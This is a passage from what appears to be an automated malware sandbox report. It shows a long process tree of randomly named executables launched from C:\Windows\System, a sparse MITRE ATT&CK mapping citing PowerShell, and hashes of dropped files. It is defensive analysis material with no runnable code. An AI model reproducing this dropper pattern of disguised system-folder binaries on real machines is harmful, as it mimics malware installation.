  2⤵
  PID:2884
- C:\Windows\System\LWxSbvT.exe
  C:\Windows\System\LWxSbvT.exe
  2⤵
  PID:2564
- C:\Windows\System\aNmmLUb.exe
  C:\Windows\System\aNmmLUb.exe
  2⤵
  PID:8200
- C:\Windows\System\YSkGKpL.exe
  C:\Windows\System\YSkGKpL.exe
  2⤵
  PID:8216
- C:\Windows\System\KmchoHf.exe
  C:\Windows\System\KmchoHf.exe
  2⤵
  PID:8232
- C:\Windows\System\zWRVXhz.exe
  C:\Windows\System\zWRVXhz.exe
  2⤵
  PID:8248
- C:\Windows\System\bLwLKfr.exe
  C:\Windows\System\bLwLKfr.exe
  2⤵
  PID:8264
- C:\Windows\System\EqoclPR.exe
  C:\Windows\System\EqoclPR.exe
  2⤵
  PID:8280
- C:\Windows\System\XUnYiTx.exe
  C:\Windows\System\XUnYiTx.exe
  2⤵
  PID:8296
- C:\Windows\System\woVtfje.exe
  C:\Windows\System\woVtfje.exe
  2⤵
  PID:8312
- C:\Windows\System\yegyKYd.exe
  C:\Windows\System\yegyKYd.exe
  2⤵
  PID:8328
- C:\Windows\System\QOhZWQb.exe
  C:\Windows\System\QOhZWQb.exe
  2⤵
  PID:8344
- C:\Windows\System\jhnaolA.exe
  C:\Windows\System\jhnaolA.exe
  2⤵
  PID:8360
- C:\Windows\System\FrefMOx.exe
  C:\Windows\System\FrefMOx.exe
  2⤵
  PID:8380
- C:\Windows\System\ISqBXmj.exe
  C:\Windows\System\ISqBXmj.exe
  2⤵
  PID:8396
- C:\Windows\System\FNDmGWt.exe
  C:\Windows\System\FNDmGWt.exe
  2⤵
  PID:8436
- C:\Windows\System\fJMKmzQ.exe
  C:\Windows\System\fJMKmzQ.exe
  2⤵
  PID:8456
- C:\Windows\System\vbxDspS.exe
  C:\Windows\System\vbxDspS.exe
  2⤵
  PID:8472
- C:\Windows\System\WmEycoW.exe
  C:\Windows\System\WmEycoW.exe
  2⤵
  PID:8500
- C:\Windows\System\HyrrAnw.exe
  C:\Windows\System\HyrrAnw.exe
  2⤵
  PID:8516
- C:\Windows\System\CVSZXAp.exe
  C:\Windows\System\CVSZXAp.exe
  2⤵
  PID:8536
- C:\Windows\System\PqOoYBH.exe
  C:\Windows\System\PqOoYBH.exe
  2⤵
  PID:8556
- C:\Windows\System\PrZHusc.exe
  C:\Windows\System\PrZHusc.exe
  2⤵
  PID:8644
- C:\Windows\System\hgjqBpZ.exe
  C:\Windows\System\hgjqBpZ.exe
  2⤵
  PID:8660
- C:\Windows\System\XCiJDGC.exe
  C:\Windows\System\XCiJDGC.exe
  2⤵
  PID:8676
- C:\Windows\System\AzjCkST.exe
  C:\Windows\System\AzjCkST.exe
  2⤵
  PID:8692
- C:\Windows\System\fWXExTR.exe
  C:\Windows\System\fWXExTR.exe
  2⤵
  PID:8712
- C:\Windows\System\ObTTpvE.exe
  C:\Windows\System\ObTTpvE.exe
  2⤵
  PID:8728
- C:\Windows\System\gMxpLPq.exe
  C:\Windows\System\gMxpLPq.exe
  2⤵
  PID:8744
- C:\Windows\System\BCxWSMy.exe
  C:\Windows\System\BCxWSMy.exe
  2⤵
  PID:8760
- C:\Windows\System\iIWUnIO.exe
  C:\Windows\System\iIWUnIO.exe
  2⤵
  PID:8788
- C:\Windows\System\aAQibvH.exe
  C:\Windows\System\aAQibvH.exe
  2⤵
  PID:8804
- C:\Windows\System\MzHwSlH.exe
  C:\Windows\System\MzHwSlH.exe
  2⤵
  PID:8820
- C:\Windows\System\piigNAf.exe
  C:\Windows\System\piigNAf.exe
  2⤵
  PID:8844
- C:\Windows\System\zMWzuLK.exe
  C:\Windows\System\zMWzuLK.exe
  2⤵
  PID:8868
- C:\Windows\System\FeYiTYn.exe
  C:\Windows\System\FeYiTYn.exe
  2⤵
  PID:8908
- C:\Windows\System\mQqSxRv.exe
  C:\Windows\System\mQqSxRv.exe
  2⤵
  PID:8924
- C:\Windows\System\JXiHnnQ.exe
  C:\Windows\System\JXiHnnQ.exe
  2⤵
  PID:8940
- C:\Windows\System\XeXIRYV.exe
  C:\Windows\System\XeXIRYV.exe
  2⤵
  PID:8956
- C:\Windows\System\lFbeoyw.exe
  C:\Windows\System\lFbeoyw.exe
  2⤵
  PID:8976
- C:\Windows\System\vlOkAAb.exe
  C:\Windows\System\vlOkAAb.exe
  2⤵
  PID:8992
- C:\Windows\System\GnYolmO.exe
  C:\Windows\System\GnYolmO.exe
  2⤵
  PID:9008
- C:\Windows\System\miPGLzf.exe
  C:\Windows\System\miPGLzf.exe
  2⤵
  PID:9024
- C:\Windows\System\rySAuBy.exe
  C:\Windows\System\rySAuBy.exe
  2⤵
  PID:9040
- C:\Windows\System\BPjLBGr.exe
  C:\Windows\System\BPjLBGr.exe
  2⤵
  PID:9056
- C:\Windows\System\HWnJMKt.exe
  C:\Windows\System\HWnJMKt.exe
  2⤵
  PID:9072
- C:\Windows\System\uHnqaTN.exe
  C:\Windows\System\uHnqaTN.exe
  2⤵
  PID:9128
- C:\Windows\System\aftrMWS.exe
  C:\Windows\System\aftrMWS.exe
  2⤵
  PID:9148
- C:\Windows\System\dQNELHY.exe
  C:\Windows\System\dQNELHY.exe
  2⤵
  PID:9164
- C:\Windows\System\OWpZzes.exe
  C:\Windows\System\OWpZzes.exe
  2⤵
  PID:9180
- C:\Windows\System\oqBrRwO.exe
  C:\Windows\System\oqBrRwO.exe
  2⤵
  PID:9196
- C:\Windows\System\pyiPvmq.exe
  C:\Windows\System\pyiPvmq.exe
  2⤵
  PID:9212
- C:\Windows\System\zKAawtj.exe
  C:\Windows\System\zKAawtj.exe
  2⤵
  PID:7440
- C:\Windows\System\YDuOgkK.exe
  C:\Windows\System\YDuOgkK.exe
  2⤵
  PID:2240
- C:\Windows\System\XnXUPqE.exe
  C:\Windows\System\XnXUPqE.exe
  2⤵
  PID:7788
- C:\Windows\System\YIEVHzK.exe
  C:\Windows\System\YIEVHzK.exe
  2⤵
  PID:8256
- C:\Windows\System\rWkDpKb.exe
  C:\Windows\System\rWkDpKb.exe
  2⤵
  PID:8324
- C:\Windows\System\JYvAGQy.exe
  C:\Windows\System\JYvAGQy.exe
  2⤵
  PID:8356
- C:\Windows\System\lNHMuCU.exe
  C:\Windows\System\lNHMuCU.exe
  2⤵
  PID:8100
- C:\Windows\System\eRsVTSV.exe
  C:\Windows\System\eRsVTSV.exe
  2⤵
  PID:8428
- C:\Windows\System\fytYaot.exe
  C:\Windows\System\fytYaot.exe
  2⤵
  PID:8208
- C:\Windows\System\KqcqZqw.exe
  C:\Windows\System\KqcqZqw.exe
  2⤵
  PID:8272
- C:\Windows\System\IcFluUc.exe
  C:\Windows\System\IcFluUc.exe
  2⤵
  PID:8308
- C:\Windows\System\ztLRSeU.exe
  C:\Windows\System\ztLRSeU.exe
  2⤵
  PID:8408
- C:\Windows\System\mlwwxbj.exe
  C:\Windows\System\mlwwxbj.exe
  2⤵
  PID:8544
- C:\Windows\System\bmTWlQZ.exe
  C:\Windows\System\bmTWlQZ.exe
  2⤵
  PID:8552
- C:\Windows\System\DmQenhn.exe
  C:\Windows\System\DmQenhn.exe
  2⤵
  PID:8580
- C:\Windows\System\cWCsdTj.exe
  C:\Windows\System\cWCsdTj.exe
  2⤵
  PID:8596
- C:\Windows\System\TmCGQcv.exe
  C:\Windows\System\TmCGQcv.exe
  2⤵
  PID:8612
- C:\Windows\System\zIjgCGD.exe
  C:\Windows\System\zIjgCGD.exe
  2⤵
  PID:8636
- C:\Windows\System\RpZhpdV.exe
  C:\Windows\System\RpZhpdV.exe
  2⤵
  PID:1516
- C:\Windows\System\msjzvHf.exe
  C:\Windows\System\msjzvHf.exe
  2⤵
  PID:8708
- C:\Windows\System\FffXRXS.exe
  C:\Windows\System\FffXRXS.exe
  2⤵
  PID:8740
- C:\Windows\System\DaqWxir.exe
  C:\Windows\System\DaqWxir.exe
  2⤵
  PID:8784
- C:\Windows\System\vtphcno.exe
  C:\Windows\System\vtphcno.exe
  2⤵
  PID:8816
- C:\Windows\System\FvSevLK.exe
  C:\Windows\System\FvSevLK.exe
  2⤵
  PID:8832
- C:\Windows\System\IFRfVfT.exe
  C:\Windows\System\IFRfVfT.exe
  2⤵
  PID:8836
- C:\Windows\System\BLIVxBT.exe
  C:\Windows\System\BLIVxBT.exe
  2⤵
  PID:8880
- C:\Windows\System\FOAoLip.exe
  C:\Windows\System\FOAoLip.exe
  2⤵
  PID:8892
- C:\Windows\System\hUecOsJ.exe
  C:\Windows\System\hUecOsJ.exe
  2⤵
  PID:8920
- C:\Windows\System\qjHZzLy.exe
  C:\Windows\System\qjHZzLy.exe
  2⤵
  PID:8984
- C:\Windows\System\WsOiGrN.exe
  C:\Windows\System\WsOiGrN.exe
  2⤵
  PID:9080
- C:\Windows\System\TnTdaup.exe
  C:\Windows\System\TnTdaup.exe
  2⤵
  PID:8932
- C:\Windows\System\CDsEUqJ.exe
  C:\Windows\System\CDsEUqJ.exe
  2⤵
  PID:9064
- C:\Windows\System\MMWVTNh.exe
  C:\Windows\System\MMWVTNh.exe
  2⤵
  PID:9088
- C:\Windows\System\SjwdwtJ.exe
  C:\Windows\System\SjwdwtJ.exe
  2⤵
  PID:9112
- C:\Windows\System\YCWmvkN.exe
  C:\Windows\System\YCWmvkN.exe
  2⤵
  PID:9192
- C:\Windows\System\qvgfXox.exe
  C:\Windows\System\qvgfXox.exe
  2⤵
  PID:8196
- C:\Windows\System\GBWndaG.exe
  C:\Windows\System\GBWndaG.exe
  2⤵
  PID:8392
- C:\Windows\System\GInRLVU.exe
  C:\Windows\System\GInRLVU.exe
  2⤵
  PID:1960
- C:\Windows\System\dGdMnQr.exe
  C:\Windows\System\dGdMnQr.exe
  2⤵
  PID:8900
- C:\Windows\System\mJpsIgm.exe
  C:\Windows\System\mJpsIgm.exe
  2⤵
  PID:8228
- C:\Windows\System\uSsncIF.exe
  C:\Windows\System\uSsncIF.exe
  2⤵
  PID:7528
- C:\Windows\System\wTwOUVt.exe
  C:\Windows\System\wTwOUVt.exe
  2⤵
  PID:9176
- C:\Windows\System\onctFTb.exe
  C:\Windows\System\onctFTb.exe
  2⤵
  PID:8244
- C:\Windows\System\wSSDsVR.exe
  C:\Windows\System\wSSDsVR.exe
  2⤵
  PID:8488
- C:\Windows\System\SUcqckb.exe
  C:\Windows\System\SUcqckb.exe
  2⤵
  PID:8604
- C:\Windows\System\FlggrVF.exe
  C:\Windows\System\FlggrVF.exe
  2⤵
  PID:8572
- C:\Windows\System\SmSjGfm.exe
  C:\Windows\System\SmSjGfm.exe
  2⤵
  PID:8628
- C:\Windows\System\MutknTv.exe
  C:\Windows\System\MutknTv.exe
  2⤵
  PID:8656
- C:\Windows\System\wIdacAJ.exe
  C:\Windows\System\wIdacAJ.exe
  2⤵
  PID:8776
- C:\Windows\System\pYdAXxm.exe
  C:\Windows\System\pYdAXxm.exe
  2⤵
  PID:8720
- C:\Windows\System\ltaRekf.exe
  C:\Windows\System\ltaRekf.exe
  2⤵
  PID:8796
- C:\Windows\System\hwtNBNW.exe
  C:\Windows\System\hwtNBNW.exe
  2⤵
  PID:9016
- C:\Windows\System\omlXHTE.exe
  C:\Windows\System\omlXHTE.exe
  2⤵
  PID:8888
- C:\Windows\System\TVffWKJ.exe
  C:\Windows\System\TVffWKJ.exe
  2⤵
  PID:9092
- C:\Windows\System\AIoojcc.exe
  C:\Windows\System\AIoojcc.exe
  2⤵
  PID:9136
- C:\Windows\System\dUxIhJL.exe
  C:\Windows\System\dUxIhJL.exe
  2⤵
  PID:8876
- C:\Windows\System\VRgJiHE.exe
  C:\Windows\System\VRgJiHE.exe
  2⤵
  PID:8916
- C:\Windows\System\OPfTQPr.exe
  C:\Windows\System\OPfTQPr.exe
  2⤵
  PID:7724
- C:\Windows\System\qagXmun.exe
  C:\Windows\System\qagXmun.exe
  2⤵
  PID:9004
- C:\Windows\System\iCMfARs.exe
  C:\Windows\System\iCMfARs.exe
  2⤵
  PID:8180
- C:\Windows\System\oCACZDU.exe
  C:\Windows\System\oCACZDU.exe
  2⤵
  PID:8480
- C:\Windows\System\cupNejr.exe
  C:\Windows\System\cupNejr.exe
  2⤵
  PID:7980
- C:\Windows\System\ipSnbpA.exe
  C:\Windows\System\ipSnbpA.exe
  2⤵
  PID:8452
- C:\Windows\System\KmZhgNP.exe
  C:\Windows\System\KmZhgNP.exe
  2⤵
  PID:8464
- C:\Windows\System\adBKaQq.exe
  C:\Windows\System\adBKaQq.exe
  2⤵
  PID:8492
- C:\Windows\System\nYMhhJK.exe
  C:\Windows\System\nYMhhJK.exe
  2⤵
  PID:1744
- C:\Windows\System\tIiueMo.exe
  C:\Windows\System\tIiueMo.exe
  2⤵
  PID:8768
- C:\Windows\System\ilwaZBl.exe
  C:\Windows\System\ilwaZBl.exe
  2⤵
  PID:8988
- C:\Windows\System\cnnduOD.exe
  C:\Windows\System\cnnduOD.exe
  2⤵
  PID:8352
- C:\Windows\System\nLsPWUJ.exe
  C:\Windows\System\nLsPWUJ.exe
  2⤵
  PID:8496
- C:\Windows\System\QYONxwI.exe
  C:\Windows\System\QYONxwI.exe
  2⤵
  PID:7508
- C:\Windows\System\rLjZIMN.exe
  C:\Windows\System\rLjZIMN.exe
  2⤵
  PID:9172
- C:\Windows\System\MHrMPBc.exe
  C:\Windows\System\MHrMPBc.exe
  2⤵
  PID:8528
- C:\Windows\System\alyuKub.exe
  C:\Windows\System\alyuKub.exe
  2⤵
  PID:8624
- C:\Windows\System\dVSntKd.exe
  C:\Windows\System\dVSntKd.exe
  2⤵
  PID:8700
- C:\Windows\System\SvxgowQ.exe
  C:\Windows\System\SvxgowQ.exe
  2⤵
  PID:9000
- C:\Windows\System\EtKconk.exe
  C:\Windows\System\EtKconk.exe
  2⤵
  PID:8856
- C:\Windows\System\etkfDYs.exe
  C:\Windows\System\etkfDYs.exe
  2⤵
  PID:8292
- C:\Windows\System\DWULqgn.exe
  C:\Windows\System\DWULqgn.exe
  2⤵
  PID:8320
- C:\Windows\System\CxOjxqo.exe
  C:\Windows\System\CxOjxqo.exe
  2⤵
  PID:8524
- C:\Windows\System\yLTaUJN.exe
  C:\Windows\System\yLTaUJN.exe
  2⤵
  PID:8736
- C:\Windows\System\bJqMnUH.exe
  C:\Windows\System\bJqMnUH.exe
  2⤵
  PID:9108
- C:\Windows\System\EZqpovp.exe
  C:\Windows\System\EZqpovp.exe
  2⤵
  PID:8576
- C:\Windows\System\VxgDzhh.exe
  C:\Windows\System\VxgDzhh.exe
  2⤵
  PID:8632
- C:\Windows\System\MZIXPsu.exe
  C:\Windows\System\MZIXPsu.exe
  2⤵
  PID:9144
- C:\Windows\System\JxvdAYl.exe
  C:\Windows\System\JxvdAYl.exe
  2⤵
  PID:9052
- C:\Windows\System\EbLxkwC.exe
  C:\Windows\System\EbLxkwC.exe
  2⤵
  PID:8368
- C:\Windows\System\vhvxglG.exe
  C:\Windows\System\vhvxglG.exe
  2⤵
  PID:9232
- C:\Windows\System\bCeyToA.exe
  C:\Windows\System\bCeyToA.exe
  2⤵
  PID:9248
- C:\Windows\System\GWSUIhB.exe
  C:\Windows\System\GWSUIhB.exe
  2⤵
  PID:9264
- C:\Windows\System\YnYKbJf.exe
  C:\Windows\System\YnYKbJf.exe
  2⤵
  PID:9280
- C:\Windows\System\oCJEIUN.exe
  C:\Windows\System\oCJEIUN.exe
  2⤵
  PID:9296
- C:\Windows\System\BFGaycU.exe
  C:\Windows\System\BFGaycU.exe
  2⤵
  PID:9312
- C:\Windows\System\njuQFYy.exe
  C:\Windows\System\njuQFYy.exe
  2⤵
  PID:9336
- C:\Windows\System\DPeVgNH.exe
  C:\Windows\System\DPeVgNH.exe
  2⤵
  PID:9356
- C:\Windows\System\LuTHNpo.exe
  C:\Windows\System\LuTHNpo.exe
  2⤵
  PID:9384
- C:\Windows\System\hBhIACC.exe
  C:\Windows\System\hBhIACC.exe
  2⤵
  PID:9404
- C:\Windows\System\VbSHafH.exe
  C:\Windows\System\VbSHafH.exe
  2⤵
  PID:9420
- C:\Windows\System\PsGHQzK.exe
  C:\Windows\System\PsGHQzK.exe
  2⤵
  PID:9440
- C:\Windows\System\mKDAkVz.exe
  C:\Windows\System\mKDAkVz.exe
  2⤵
  PID:9460
- C:\Windows\System\sjLFNUF.exe
  C:\Windows\System\sjLFNUF.exe
  2⤵
  PID:9476
- C:\Windows\System\VLteFaO.exe
  C:\Windows\System\VLteFaO.exe
  2⤵
  PID:9492
- C:\Windows\System\ENcQzqJ.exe
  C:\Windows\System\ENcQzqJ.exe
  2⤵
  PID:9512
- C:\Windows\System\UARsfIo.exe
  C:\Windows\System\UARsfIo.exe
  2⤵
  PID:9532
- C:\Windows\System\BtOZYsl.exe
  C:\Windows\System\BtOZYsl.exe
  2⤵
  PID:9548
- C:\Windows\System\WUxmvEs.exe
  C:\Windows\System\WUxmvEs.exe
  2⤵
  PID:9568
- C:\Windows\System\fGiwAFc.exe
  C:\Windows\System\fGiwAFc.exe
  2⤵
  PID:9584
- C:\Windows\System\jDJAfYW.exe
  C:\Windows\System\jDJAfYW.exe
  2⤵
  PID:9604
- C:\Windows\System\gRjIpQz.exe
  C:\Windows\System\gRjIpQz.exe
  2⤵
  PID:9624
- C:\Windows\System\OCdXVpo.exe
  C:\Windows\System\OCdXVpo.exe
  2⤵
  PID:9640
- C:\Windows\System\IdoMjFd.exe
  C:\Windows\System\IdoMjFd.exe
  2⤵
  PID:9656
- C:\Windows\System\ybhVvxR.exe
  C:\Windows\System\ybhVvxR.exe
  2⤵
  PID:9672
- C:\Windows\System\kubCavN.exe
  C:\Windows\System\kubCavN.exe
  2⤵
  PID:9688
- C:\Windows\System\CehGJoj.exe
  C:\Windows\System\CehGJoj.exe
  2⤵
  PID:9704
- C:\Windows\System\uCUhDvx.exe
  C:\Windows\System\uCUhDvx.exe
  2⤵
  PID:9728
- C:\Windows\System\KDIWEmH.exe
  C:\Windows\System\KDIWEmH.exe
  2⤵
  PID:9756
- C:\Windows\System\JGknfDc.exe
  C:\Windows\System\JGknfDc.exe
  2⤵
  PID:9772
- C:\Windows\System\GiiCfyt.exe
  C:\Windows\System\GiiCfyt.exe
  2⤵
  PID:9808
- C:\Windows\System\NSHCJBn.exe
  C:\Windows\System\NSHCJBn.exe
  2⤵
  PID:9844
- C:\Windows\System\wfTTkaW.exe
  C:\Windows\System\wfTTkaW.exe
  2⤵
  PID:9872
- C:\Windows\System\XZpWEId.exe
  C:\Windows\System\XZpWEId.exe
  2⤵
  PID:9892
- C:\Windows\System\pEgLujh.exe
  C:\Windows\System\pEgLujh.exe
  2⤵
  PID:9920
- C:\Windows\System\xuEtBBm.exe
  C:\Windows\System\xuEtBBm.exe
  2⤵
  PID:9936
- C:\Windows\System\VRAhDKq.exe
  C:\Windows\System\VRAhDKq.exe
  2⤵
  PID:9952
- C:\Windows\System\rjwFxxD.exe
  C:\Windows\System\rjwFxxD.exe
  2⤵
  PID:9968
- C:\Windows\System\YvgYJow.exe
  C:\Windows\System\YvgYJow.exe
  2⤵
  PID:9984
- C:\Windows\System\ljsXrPi.exe
  C:\Windows\System\ljsXrPi.exe
  2⤵
  PID:10012
- C:\Windows\System\SEQiBUe.exe
  C:\Windows\System\SEQiBUe.exe
  2⤵
  PID:10028
- C:\Windows\System\UrNMRnS.exe
  C:\Windows\System\UrNMRnS.exe
  2⤵
  PID:10044
- C:\Windows\System\KkfhBgp.exe
  C:\Windows\System\KkfhBgp.exe
  2⤵
  PID:10064
- C:\Windows\System\NyYStZQ.exe
  C:\Windows\System\NyYStZQ.exe
  2⤵
  PID:10080
- C:\Windows\System\ZOmDgoT.exe
  C:\Windows\System\ZOmDgoT.exe
  2⤵
  PID:10100
- C:\Windows\System\wrjcRix.exe
  C:\Windows\System\wrjcRix.exe
  2⤵
  PID:10116
- C:\Windows\System\YOcsDYC.exe
  C:\Windows\System\YOcsDYC.exe
  2⤵
  PID:10136
- C:\Windows\System\KfWkOPX.exe
  C:\Windows\System\KfWkOPX.exe
  2⤵
  PID:10156
- C:\Windows\System\OEdhyDa.exe
  C:\Windows\System\OEdhyDa.exe
  2⤵
  PID:10180
- C:\Windows\System\XdIGoFM.exe
  C:\Windows\System\XdIGoFM.exe
  2⤵
  PID:10196
- C:\Windows\System\HMdCYkJ.exe
  C:\Windows\System\HMdCYkJ.exe
  2⤵
  PID:10224
- C:\Windows\System\oPrQHII.exe
  C:\Windows\System\oPrQHII.exe
  2⤵
  PID:9244
- C:\Windows\System\YkcIJUP.exe
  C:\Windows\System\YkcIJUP.exe
  2⤵
  PID:9220
- C:\Windows\System\eiuRGQN.exe
  C:\Windows\System\eiuRGQN.exe
  2⤵
  PID:9320
- C:\Windows\System\iMFQpos.exe
  C:\Windows\System\iMFQpos.exe
  2⤵
  PID:9308
- C:\Windows\System\Uigkmhq.exe
  C:\Windows\System\Uigkmhq.exe
  2⤵
  PID:9396
- C:\Windows\System\rlqOpge.exe
  C:\Windows\System\rlqOpge.exe
  2⤵
  PID:9352
- C:\Windows\System\AGvthKP.exe
  C:\Windows\System\AGvthKP.exe
  2⤵
  PID:9472
- C:\Windows\System\AODUiNC.exe
  C:\Windows\System\AODUiNC.exe
  2⤵
  PID:9544
- C:\Windows\System\ObZUXEW.exe
  C:\Windows\System\ObZUXEW.exe
  2⤵
  PID:9648
- C:\Windows\System\olFgFtF.exe
  C:\Windows\System\olFgFtF.exe
  2⤵
  PID:9684
- C:\Windows\System\foKTbPJ.exe
  C:\Windows\System\foKTbPJ.exe
  2⤵
  PID:9368
- C:\Windows\System\NTDCmdM.exe
  C:\Windows\System\NTDCmdM.exe
  2⤵
  PID:9520
- C:\Windows\System\utDKvjP.exe
  C:\Windows\System\utDKvjP.exe
  2⤵
  PID:9600
- C:\Windows\System\cRLAFXc.exe
  C:\Windows\System\cRLAFXc.exe
  2⤵
  PID:9696
- C:\Windows\System\tluRZBG.exe
  C:\Windows\System\tluRZBG.exe
  2⤵
  PID:9412
- C:\Windows\System\zpFLNXi.exe
  C:\Windows\System\zpFLNXi.exe
  2⤵
  PID:9452
- C:\Windows\System\VqjCOUv.exe
  C:\Windows\System\VqjCOUv.exe
  2⤵
  PID:9564
- C:\Windows\System\wRaIgmr.exe
  C:\Windows\System\wRaIgmr.exe
  2⤵
  PID:9744
- C:\Windows\System\wGXzzml.exe
  C:\Windows\System\wGXzzml.exe
  2⤵
  PID:9768
- C:\Windows\System\yXFsYRr.exe
  C:\Windows\System\yXFsYRr.exe
  2⤵
  PID:9796
- C:\Windows\System\wLblHOp.exe
  C:\Windows\System\wLblHOp.exe
  2⤵
  PID:9820
- C:\Windows\System\KmNauUL.exe
  C:\Windows\System\KmNauUL.exe
  2⤵
  PID:9832
- C:\Windows\System\QzyRlDx.exe
  C:\Windows\System\QzyRlDx.exe
  2⤵
  PID:9880
- C:\Windows\System\krutTjL.exe
  C:\Windows\System\krutTjL.exe
  2⤵
  PID:9904
- C:\Windows\System\MzaTNqW.exe
  C:\Windows\System\MzaTNqW.exe
  2⤵
  PID:9932
- C:\Windows\System\TATZqnk.exe
  C:\Windows\System\TATZqnk.exe
  2⤵
  PID:9980
- C:\Windows\System\vNSNjUn.exe
  C:\Windows\System\vNSNjUn.exe
  2⤵
  PID:9996
- C:\Windows\System\XArrQkR.exe
  C:\Windows\System\XArrQkR.exe
  2⤵
  PID:10072
- C:\Windows\System\HLBRiuN.exe
  C:\Windows\System\HLBRiuN.exe
  2⤵
  PID:10192
- C:\Windows\System\IylbHYY.exe
  C:\Windows\System\IylbHYY.exe
  2⤵
  PID:10144
- C:\Windows\System\nXHQJkq.exe
  C:\Windows\System\nXHQJkq.exe
  2⤵
  PID:10132
- C:\Windows\System\ZtCOtJS.exe
  C:\Windows\System\ZtCOtJS.exe
  2⤵
  PID:8672
- C:\Windows\System\dMWKvXL.exe
  C:\Windows\System\dMWKvXL.exe
  2⤵
  PID:10088
- C:\Windows\System\yZAWdVv.exe
  C:\Windows\System\yZAWdVv.exe
  2⤵
  PID:10172
- C:\Windows\System\ytDboip.exe
  C:\Windows\System\ytDboip.exe
  2⤵
  PID:10212
- C:\Windows\System\GQhhnkN.exe
  C:\Windows\System\GQhhnkN.exe
  2⤵
  PID:8724
- C:\Windows\System\XqnWvwA.exe
  C:\Windows\System\XqnWvwA.exe
  2⤵
  PID:9288
- C:\Windows\System\dCZZXyn.exe
  C:\Windows\System\dCZZXyn.exe
  2⤵
  PID:9612
- C:\Windows\System\OuRYxKO.exe
  C:\Windows\System\OuRYxKO.exe
  2⤵
  PID:9720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\AjdveUL.exe

Filesize
2.9MB

MD5
888d3d7e54097484d898bdf1588f8c45

SHA1
44216eb37c7e16b85112227de92f03ad71d6adec

SHA256
3300a5d5c2193486fae8e4eb530b0222021d3ec64f09729d606cf64e5f9d253b

SHA512
b48cc4cd2a3ad0210f95cd7ac59c1d4039eef32d50ddc4695be5f1a78a13f9ab92b273d603199877b205623f764f8e4a992a35c1349b0b71b848d7b85d344f20

Download Submit
C:\Windows\system\CojlXmD.exe

Filesize
2.9MB

MD5
e2ddf3b560e46f40f3dde76ef8bfafab

SHA1
db9c3f527c842a0f3d2888362e581bc26b0fb95b

SHA256
7321316876c026f68e83e47cb1f8a8c69332b7f4013e8f0633a9310f42554fc6

SHA512
86ca15c459a91922d506f0195a846520f9b188c90ff0d211e109df9aa81c7d1820952350aa73f9ec726f6700830fd7e4aa68efa6578b22e09f68144e5a1843ba

Download Submit
C:\Windows\system\GjtJVcE.exe

Filesize
2.9MB

MD5
1aeb7b5ed0b6cf56f0e4eb05efede51b

SHA1
9a755531979be8329b57238d13856576cf2edfb7

SHA256
f4e6eab22d038a66a5627f83dae4edb6b075201365a815ba76bd013de44b6c58

SHA512
1be6fc1df71a67956f2952817dae046e8b8905a21ac0316b38db868ebb4a20ad6c804f078b6d84aa80b7a6fac16ebf5c4419b796228f1ccafc24cb69c32e2754

Download Submit
C:\Windows\system\HjSNiDM.exe

Filesize
2.9MB

MD5
2e218d3c408847904b2eb92391ce87a2

SHA1
c932b2a30743d277ab0028b479a99ff6001716f1

SHA256
b32793d74e6a5d689a31817284175d61e85a6ba9ab07d33b2d91094b94facd6a

SHA512
0688c1b4e5edbd9bffa3f65409ebe9186cdbfbfeaedd179ecdbb775ca36e8d7188ac6a4d58cc8e47d993aeb448c864bef8e4cbbf4cca60aa709c841318845dd3

Download Submit
C:\Windows\system\INeqCHl.exe

Filesize
2.9MB

MD5
f5af8acdd8acd9ab863cefad072879f5

SHA1
3da74a65140a9a3714b8ffab3b09a19163ed7a29

SHA256
17c2d440f5a3b68315cf81a5fd1afddb85d70e0cf3a03d987aa275c743945b0f

SHA512
37d72c9ce9c7c129f9c028114865628af03b8c19813ce81bb777588011cb9a58516b1393fed9efea1d3592a3a52439e1bd1a89b4862420493e51022dc5393aae

Download Submit
C:\Windows\system\MPynzTa.exe

Filesize
2.5MB

MD5
e137457923c4b0a181be92bc2535b9bc

SHA1
1ca9d57a48415352eb8fbe541b4e6065a0de8333

SHA256
ee9d09185fffcfe9c83b274c22602bc1da8188a9efab4028e23af84d6aa382cf

SHA512
554cf1df566098b55957186e6a7e5b6dcd4b2ca38f5f0fc22143781e78334def948aef8e6f1900fecf19566ab79913170ff2e38c1cd12cb67611c915c92fa233

Download Submit
C:\Windows\system\PHycLrT.exe

Filesize
2.9MB

MD5
ff9e60220061e125130d665340f1514d

SHA1
0e2f148db943ca34367115fda2fcca0c8247aa91

SHA256
0a30397ee74e81ac3f2d7575987fcbb1937c6f183b0019690440f469c5b72ebf

SHA512
53cb172bcf0d270877aedc10a7e26239a30305fd477c663f73f5ebd4cac22a83e0e945c4ff83740c6040694b5711876f787696fd49b47758345196684c1845b6

Download Submit
C:\Windows\system\RhPBEfo.exe

Filesize
2.9MB

MD5
9fbc78fb96a71d89ba9b189a88e4a070

SHA1
987058d232ea360a59abc03d298756b457aa2acc

SHA256
4ecad84b301811323b729376119e0a31d39c4563f5d7b07afa3d7d01aa1b215e

SHA512
a0e241b1ec2c187fb07cc8b3ed5e496839fe013422f2565be09372a152d7746d96da1695304cab67934e893037d165a4b05b8b651cb916bf01acdaf25d0e059c

Download Submit
C:\Windows\system\SUpcedU.exe

Filesize
2.9MB

MD5
87e819026af9bed06515f9fe783ee517

SHA1
162d2db5db6a9b0e14af2b4eb4b38e3328086bb6

SHA256
a886e67d6674324d1458253793a54533182a489eaff2999646593d4503b6c957

SHA512
d81d1b13b8fab1cd6745d09ed71f1528015a3ee4914eb22952c5a3c18e3fe53ad2b3cfe53ad3d27e6c4a632d70d1022ce85ab3f332943ae36123701fb5d282ff

Download Submit
C:\Windows\system\TZMhZNH.exe

Filesize
2.9MB

MD5
086e89d1cc0e31085a40274be3033437

SHA1
44a13021d038beeb1a55d519aaa9cff029f47da7

SHA256
ed72e037a4d4a0bb3ffff90bf66af63511ecd4ce9f41eb15649fe48e01abf42e

SHA512
e775b2fbb497c30a6c0701bbf51d336e826b17cb7c0d62aa2ca15580082f907bc971433c324f7df3c35408853717c102df41ff54a991b7591e1a45dbf3b103db

Download Submit
C:\Windows\system\VioptEd.exe

Filesize
2.9MB

MD5
0db910348041a9f1b26d657aa4276609

SHA1
0d7c8e2da3d6c7205afd1ef1bc9b59b36cbb0ca1

SHA256
0aa6c8df172a0f9af9129cc5f24705984a3851b33b063878c8709ae073bf0157

SHA512
